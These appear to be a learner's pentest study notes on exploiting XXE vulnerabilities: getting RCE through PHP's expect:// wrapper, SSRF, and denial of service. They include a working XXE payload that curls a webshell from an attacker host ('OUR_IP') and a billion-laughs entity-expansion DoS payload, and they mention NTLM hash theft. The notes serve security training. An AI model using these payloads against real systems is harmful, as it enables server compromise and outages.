In addition to readnig files we can get RCE.
Easiest way? SSH keys. Alternatively, hash stealing trick in windows-based web apps by forcing an ntlm authentication attempt against our attacker controlled server.
If these don't work we may still be able to execute commands on PHP-based webapps through the PHP://expect web filter - this requires expect mod to be enabled + installed.
If XXE directly prints its output as shown in [[5. XXE - Local file disclosure]], we can execute basic commands as expect://id
If we didn't have access to the output or needed to execute a more complicated command like a reverse shell, xml syntax may break and cmd isnt executed.
Most efficient way to turn XXE into RCE is by fetching a webshell from our attacker controlled server and writing it to the webapp then we can interact with it to execute commands.
- Write basic php webshell
- Host Python server
- Curl our web server with XXE
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
(All spaces replaced with $IFS to avoid breaking xml syntax. Other chars like |, >, { may break xml as well. )
For the most part expect is not enabled/installed on modern php servers so this is usually not going to work. xxe is typically used to disclose sensitive local files + source code which may reveal additional vulns or ways to gain RCE
SSRF using XXE
Another common attack often used through XXE vulns is SSRF exploitation which is used to enumerate locally open ports and access their pages among other restricted web pages through the XXE vuln. Server-Side attacks module thoroughly covers SSRF and same techniques cacn be used with XXE.
Common use of XXE attack is causing a DOS on the hosting webserver with the following payload:
<?xml version="1.0"?>
<!DOCTYPE email [
<!ENTITY a0 "DOS" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
<!ENTITY a5 "&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;">
<!ENTITY a6 "&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;">
<!ENTITY a7 "&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;">
<!ENTITY a8 "&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;">
<!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;">
<!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>
<root>
<name></name>
<tel></tel>
<email>&a10;</email>
<message></message>
</root>
Payload defines a0 entity as dos and references it in a1 multiple times, references a1 in a2, and so on until the backend server memory runs out due to the self-referencing loops.
This attack no longer works with modern webservers such as Apache, they protect against entity self-referencing.